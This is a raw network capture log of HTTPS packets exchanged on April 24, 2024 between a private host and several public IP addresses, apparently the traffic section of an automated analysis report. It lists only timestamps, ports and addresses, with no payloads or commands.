Apr 24, 2024 08:21:36.726109982 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.772691965 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.772722006 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.782584906 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:36.782625914 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:36.782711029 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:36.782926083 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:36.782946110 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:36.818260908 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.825623035 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.825789928 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.825930119 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.825978994 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.825978994 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.826047897 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826078892 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826087952 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.826129913 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826137066 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.826149940 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826240063 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826319933 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826396942 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826432943 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.826432943 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.826495886 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.826999903 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.827018976 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.827162981 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.827217102 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.827229023 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.827303886 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.827399969 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.827411890 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.827892065 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.827955961 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.827966928 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.828021049 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.828074932 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.828087091 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.828728914 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.828793049 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.828805923 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.828872919 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.829884052 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.829950094 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.829960108 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.830099106 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.830149889 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.830159903 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.830688953 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.830744982 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.830755949 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.830873013 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.830919027 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.830929995 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.832271099 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.832333088 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.832345009 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.832489014 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.832540035 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.832551956 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.832616091 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.832626104 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.833235025 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.833287954 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.833300114 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.833420038 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.833470106 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.833481073 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.834254980 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.834306955 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.834317923 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.834378004 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.834424019 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.834435940 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.834486008 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.834548950 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.834563017 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.835189104 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.835237980 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.835244894 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.835257053 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.835308075 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.835319042 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.836482048 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.836532116 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.836555958 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.836569071 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.836754084 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.836796999 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.836807966 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.836908102 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.836919069 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.837589979 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.837657928 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.837671995 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.837757111 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.837821960 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.837833881 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.837949991 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.838033915 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.838085890 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.838105917 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.838161945 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.838176966 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.838329077 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.838372946 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.838388920 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.839591026 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.839634895 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.839667082 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.839682102 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.839814901 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.839869976 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.839884996 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.839932919 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.840368032 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.842966080 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.843025923 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.843074083 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.843094110 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.843122959 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.846250057 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.846282959 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.846338034 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.846357107 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.846390963 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.848532915 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.848546982 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.848608971 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.848634958 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.848695040 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.851264000 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.851281881 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.851344109 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.851358891 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.851411104 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.853785992 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.853821993 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.853863955 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.853878975 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.853908062 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.853928089 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.856885910 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.856899977 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.856959105 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.856975079 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.859652996 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.878345966 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.878410101 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.878689051 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.878741980 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.878782988 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.878859043 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.878896952 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.878905058 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.878978968 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.879558086 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880060911 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880122900 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880136013 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.880148888 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880208015 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.880223036 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880362988 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880439043 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.880449057 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880597115 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880621910 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880640984 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.880650997 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.880698919 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.881216049 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.933032990 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.933046103 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.978502035 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.978575945 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.978732109 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.978796005 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.978856087 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.978899002 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.978981972 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.979054928 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.979232073 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.979293108 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.979351044 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.979459047 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.979840994 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.979892969 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.979908943 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.980045080 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.980159998 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.980175972 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.981360912 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.981408119 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.981420040 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.981765032 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.981817007 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.981825113 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982198954 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982251883 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.982260942 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982314110 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982364893 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.982372999 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982436895 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982476950 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.982485056 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982553959 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.982595921 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.982603073 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.985331059 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.985352039 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.985395908 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.985411882 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.985449076 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.985460043 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.988182068 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.988215923 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.988390923 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.988390923 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.988421917 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.988468885 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.990582943 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.990624905 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.990653038 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.990663052 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.990688086 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.990710974 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.993233919 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.993267059 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.993308067 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.993319035 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.993346930 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.993359089 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:36.993360996 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.993406057 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.993510008 CEST	49751	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:36.993525028 CEST	443	49751	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.077065945 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:37.094178915 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.095911980 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.095928907 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.097507954 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.097584009 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.097955942 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.098042011 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.098084927 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.120157957 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:37.140124083 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.149198055 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.149214983 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.157052994 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.157089949 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.157216072 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.157705069 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.157718897 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.200067043 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.453505993 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.453613997 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.453722000 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.454412937 CEST	49753	443	192.168.2.6	104.17.3.184
Apr 24, 2024 08:21:37.454437971 CEST	443	49753	104.17.3.184	192.168.2.6
Apr 24, 2024 08:21:37.475155115 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.475397110 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.475419044 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.475913048 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.476254940 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.476376057 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.476382971 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.476430893 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.476509094 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.524389982 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.649569988 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:37.649750948 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:37.650206089 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:37.652365923 CEST	49745	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:21:37.652384996 CEST	443	49745	172.67.143.205	192.168.2.6
Apr 24, 2024 08:21:37.806472063 CEST	49755	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:21:37.806559086 CEST	443	49755	35.190.80.1	192.168.2.6
Apr 24, 2024 08:21:37.806641102 CEST	49755	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:21:37.807040930 CEST	49755	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:21:37.807080030 CEST	443	49755	35.190.80.1	192.168.2.6
Apr 24, 2024 08:21:37.842416048 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.842473984 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.842513084 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.842530012 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.842552900 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.842668056 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.842674017 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843148947 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843185902 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843194008 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.843202114 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843239069 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.843244076 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843537092 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843584061 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.843588114 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843728065 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.843766928 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.843771935 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.844717026 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.844784975 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.844789982 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845005989 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845151901 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845195055 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.845200062 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845371962 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845421076 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.845426083 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845588923 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845629930 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.845633984 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.845737934 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.845742941 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.846106052 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.846144915 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.846149921 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.846302032 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.846343994 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.846348047 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.846525908 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.846574068 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.846577883 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.847070932 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.847161055 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.847165108 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.847335100 CEST	443	49754	104.17.2.184	192.168.2.6
Apr 24, 2024 08:21:37.847377062 CEST	49754	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:21:37.847382069 CEST	443	49754	104.17.2.184	192.168.2.6
